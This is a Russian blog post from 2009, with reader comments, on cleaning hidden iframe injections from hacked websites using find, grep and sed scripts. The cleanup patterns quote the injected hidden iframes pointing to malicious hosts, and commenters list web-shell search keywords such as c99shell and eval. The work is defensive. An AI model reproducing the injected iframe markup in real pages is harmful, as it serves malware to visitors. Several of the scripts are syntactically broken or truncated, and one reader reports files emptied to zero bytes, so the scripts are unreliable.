Ищем и чистим сайты от инклудов iframe

Как писал не так давно, подцепил заразу трояна win32/Kryptik. CH и червя Win32/Pinit, которая наследила на паре FTP, давив скрытый iframe.

Рассмотрим несколько вариантов быстрого и полного избавления от этой заразы. Конечно же нам пригодятся знания ssh и наличие клиента для этого протокола. Под виндой подойдёт PuTTY, под Mac OS со всем справляется обычная консоль.

Так большинство вредоносного кода пытаются вставить iframe на вашу страницу, то поищем все странички на сервере, содержащие эту подстроку.

Ок, для этого подключаемся клиентом к нашему серверу (виртуальному серверу-хостингу) по протоколу SSH. Переходим в корневой web каталог, в котором находятся интересующие файлы и запускаем поиск:

find $PWD -name '*.*' -exec grep -l "iframe" {} \;

Вкратце: организовываем поиск (find) всех файлов (*.*) в текущем каталоге ($PWD), в каждом файле ищем (grep) нужную подстроку ("iframe"), в случае успеха, в вывод отдаём только имя файла (-l).

Если вдруг мусора много, записываем список файлов в файл:

find $PWD -name '*.*' -exec grep -l "iframe" {} \; > vir.txt

Далее анализируем полученные файлы, находя в них вредоносные строки. Самый примитивный способ — пройтись по списку файлов и удалить ручками вставки iframe.

Но мы пойдём другим путём.

Автоматизация или откиньтесь на спинку стула

Рассмотрим на моём примере. Нам уже не обойтись без скрипта на баше. Сразу приведу конечный вариант:

#!/bin/sh
find $PWD -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-html.txt

while read line
do
sed 's/<div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80<>\/iframe<>\/div>//g' <$line >tmp
mv tmp $line
done < vir-html.txt

find $PWD -name '*.php' -exec grep -l "gfdsgf333" {} \; > vir-php.txt
while read line
do
sed ’s/<?php echo <div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80><\/iframe><\/div>; ?>//g’ <$line >tmp
mv tmp $line
done < vir-php.txt

Как видите логика проста. По имени домена вычисляем все файлы с его вставкой, а далее просто удаляем поточным редактором найденные ранее подстроки.

Ну и на последок, точка контроля:

find $PWD -type f -exec grep -l "iframe"; {} \; > vir-other.txt

Смотрим файл vir-other.txt, там должно быть чисто или только добрые файлы (вроде jQuery. js и похожих).


Хорошие сайты:

Доброго времени! Очень часто

Доброго времени!

Очень часто вместе с iframe добовляют скрипты удаленного shell администрирования,как совет рекомендую:
find . -print0 | xargs -0 grep word
где word это например shell,c99shell,ddevil,hack.
При анализе полученного вывода команды можно почерпнуть много интересного)))
чего быть совсем не должно)

ЗЫ Спасибо за полезную статью.

Отправил Дмитрий (не зарегистрирован) (сб., 02/14/2009 - 10:40)
Спасибо за дополнение, shell

Спасибо за дополнение, shell будет поопасней ифрейма.

Отправил GogA (пн., 02/16/2009 - 11:40)
"Переходим в коренной web

"Переходим в коренной web каталог"

Саш, коренными бывают зубы, каталог — корневой :))

Отправил Ромка (не зарегистрирован) (чт., 02/19/2009 - 23:17)
Спасибо, поправил :)

Спасибо, поправил :)

Отправил GogA (вт., 02/24/2009 - 02:58)
Поправил на «корненной», а

Поправил на «корненной», а надо на «корневой» :)

Отправил Вернон Коди (не зарегистрирован) (пн., 03/23/2009 - 16:03)
а у меня в админке системные

а у меня в админке системные файлы перед отображением страницы проверяются на соответствие размера размеру файла из резервной копии.. если не соответствует, то копия файла из дампа заменяет потенциально опасный файл. таким образом вирус удаляется сам собой по мере того, как человек ходит по сайту...

Отправил Евген (не зарегистрирован) (ср., 02/25/2009 - 13:24)
А что за админка-хостинг?

А что за админка-хостинг? :)

Очень хорошая опция!

Отправил GogA (ср., 03/04/2009 - 03:40)
Error

Скрипт не отрабатывается,пишет:

8: Syntax error: "done" unexpected (expecting "do")

Не подскажете как быть(?

#!/bin/sh
find . -name '*.html' -exec grep -l "517891" {} \; > vir-html.txt

while read line
do
sed 's/

find . -name '*.php' -exec grep -l "517891" {} \; > vir-php.txt
while read line
do
sed ’s/

Отправил kritic (не зарегистрирован) (вс., 03/08/2009 - 11:30)
Еще один вариант

Еще можно вот так,принцип тот же,но нет разделения на php и html(в некоторых случаях пришлось бы еще дописывать и для htm и т д).

#!/bin/sh
find . -print0 | xargs -0 grep -l 517891 > vir-list.txt

while read line
do
sed 's/:

Ищет все файлы в системе просматривая их код,после этого грепает по заданному критерию,после этого с помощью поточного редактора очищает.

Отправил Дмитрий (не зарегистрирован) (вс., 03/08/2009 - 12:32)
Я просто поставил права

Я просто поставил права только на чтение у файлов на хостинге и все.. А вообще нужно комп от вирусов избавлять...

Отправил Гость (не зарегистрирован) (вт., 03/10/2009 - 14:20)
Не комп от вирусов, а скрипты

Не комп от вирусов, а скрипты от дыр :)

Отправил N_MONax (не зарегистрирован) (пн., 03/23/2009 - 03:50)
Привет, у меня похожая

Привет, у меня похожая проблема, пишу так

#!/bin/sh

find . -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-list.txt

while read line
do
sed 's/<iframe src="http://homenameregistration.cn/in.cgi?income12" width=1 height=1 style="visibility: hidden"></iframe>//g' <$line >tmp
mv tmp $line
done < vir-list.txt

в итоге все что подверглось обработке имеет размер 0 и получаю error
$ ./ffff.sh
sed: 1: "s/$lt;iframe src="http://h ...": bad flag in substitute command: 'h'

также ифрейм как php вставка в примере <?php echo

может есть мысли по этому поводу ?

Отправил vvito5 (не зарегистрирован) (чт., 03/19/2009 - 15:41)
Лучше всего забарикадировать

Лучше всего забарикадировать свой рабочий компьютер, у меня и антивирус и фаервол, давненько заразы никакой небыло :-D

Отправил Executor (не зарегистрирован) (пн., 03/23/2009 - 12:18)
GogA, тут завелся вирус?

Это у вас тут новая фича? при заходе на эту страницу в Опере 88/89 эллементов и постоянно выскакивает (NOD32) -

25.03.2009 4:38:32 Фильтр HTTP файл http://freewebhostguide.com/cache/readme.pdf PDF/Exploit.Pidief.OBO троянская программа соединение прервано - изолирован Обнаружена угроза при попытке доступа в Интернет следующим приложением: C:\Program Files\Opera\opera.exe

при это у меня открыт ТОЛЬКО этот блог

Отправил barabashko (не зарегистрирован) (ср., 03/25/2009 - 04:42)
Один из комментаторов как-то

Один из комментаторов как-то вставил ифрейм в код комментария, сейчас пофиксю.

Отправил GogA (ср., 03/25/2009 - 13:33)
Ассенизация сточных вод в HTML

Привет. Варианты очистки HTML "на лету".

1. Где-нибудь в разделе инициализации движка, ДО обращения к любой функции вывода
$tidy_ok = extension_loaded('tidy');
if ($tidy_ok == 1) ob_start();

2. По окончании рендеринга страницы, ПОСЛЕ любой функции вывода
if ($tidy_ok == 1) {
$tidy_cfg = array(
'markup' => true,
'force-output' => 1,
'logical-emphasis' => 1,
'lower-literals' => 1,
'indent' => 0,
'char-encoding' => 'raw',
'input-encoding' => 'raw',
'output-encoding' => 'raw',
'wrap' => 0,
'output-html' => 1,
'fix-uri' => 1,
'hide-comments' => 1,
'quote-ampersand' => 1,
'tidy-mark' => 0);
$tidy = new tidy;
$tidy->parseString(ob_get_clean(), $tidy_cfg, 'raw');
$out = tidy_get_output($tidy));
............
очистка HTML функцией preg_replace() или другим способом
............
echo $out;

Маска (регулярное выражение) в preg_replace() вырезает нежелательные теги, либо к переменной $out применяется самодельный парсер, "расставляющий запятые" в "казнить нельзя помиловать".

Довеском в примере задействован парсер HTML Tidy, но можно обойтись без него:

ob_start();
.............
.............
$out = ob_get_contents();
ob_end_clean(); //сбрасываем буфер дабы не было баден-баден
...чистим переменную $out функцией preg_replace()
echo $out;

Недостатки: контент (html или выведенный в режиме интерпретации php) после tidy_get_output/ob_get_contents обработан не будет.

Отправил GPS (не зарегистрирован) (сб., 04/11/2009 - 14:28)
чистка

Закончил чистку кучи сайтов . некоторые дополнения
1.Во время атаки адреса сайтов в ифрейме в разных файлах менялись - так что чисто на автомате удалить не получилось.
2. В друпалных сайтах кое где еще в файлы тем после тега body вставляли не ифрейм какойто жабоскрипт ( снес к чертям не разбираясь)

так что чистил вручную - зараженые файлы искал по другой дате изменения

Судя по тому, что после захода на сайты вылавливал анитвирус ( AVG +Cure IT ,bitdefender и NOD ничего не видели) - задачей атаки было создание ботнета

ПС До нескольких заброшеных сплогов руки дошли не сразу.Так что позлорадствовал , сколько идиотов "продвигающих через камменты" получили вирь в наказание ;)

Отправил Бомж беглый (не зарегистрирован) (вс., 05/03/2009 - 08:30)
Смотреть по дате изменения

Смотреть по дате изменения файлы - тоже хороший вариант найти заразу.

В конце очистки не забудь проверсти контроль качества.

Слова можно использовать для поиска:
iframe,shell,c99shell,ddevil,">eval(".

Все выданные файлики можно посмотреть ручками, так как некоторые элементы (например iframe) могут и в мирных целях использоваться.

Отправил GogA (вс., 05/03/2009 - 18:48)
Пожалуйста, подскажите... У

Пожалуйста, подскажите... У меня на сайте вирус (подсказали добрые люди), только я не могу его никак найти... Пересмотрела все страницы, бестолку... Ругается только Аваст, д-р Веб, касперский - молчат.. Как мне быть? Пожлста помогите...

Отправил natasya (не зарегистрирован) (сб., 06/27/2009 - 18:37)
а как заменить строчку на другую

а можно дополнить команду и добавить в нее замену определенной строчки в файле - на другую строчку

вроде должно быть не сложно, но я что-то ничего не могу найти по этому вопросу

подскажите

Отправил Гость (не зарегистрирован) (чт., 12/24/2009 - 16:26)
Sed и

Sed и Awk
http://opennet.ru/docs/RUS/bash_scripting_guide/a14586.html

Отправил GogA (пт., 12/25/2009 - 02:47)
получилось:)

получилось:) спасибо за ссылку

поменял строчку на эту
sed 's/comment=0/comment=1/g' <$line >tmp

comment=0 - что меняем
comment=1 - на что меняем

Отправил Гость (не зарегистрирован) (сб., 12/26/2009 - 11:58)
Cпасибо!

Отличное дополнение сенкс!

Отправил Ilyusha (не зарегистрирован) (сб., 03/13/2010 - 17:02)

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
КАПЧА
Этот вопрос задается для того, чтобы выяснить, являетесь ли Вы человеком или представляете из себя автоматическую спам-рассылку.
        _   _   _         _   _____   _____ 
___ | | | | | |_ | | |___ | |___ |
/ __| | | | | | __| _ | | / / / /
\__ \ | |_| | | |_ | |_| | / / / /
|___/ \___/ \__| \___/ /_/ /_/
Введите код, изображенный в стиле ASCII-арт.

rss - подписка

Подпишись на RSS!

Подпишись на RSS!

Друзья сайта

Последние комментарии

Регистрация доменов ru | Конкурс сладкий сеопультенок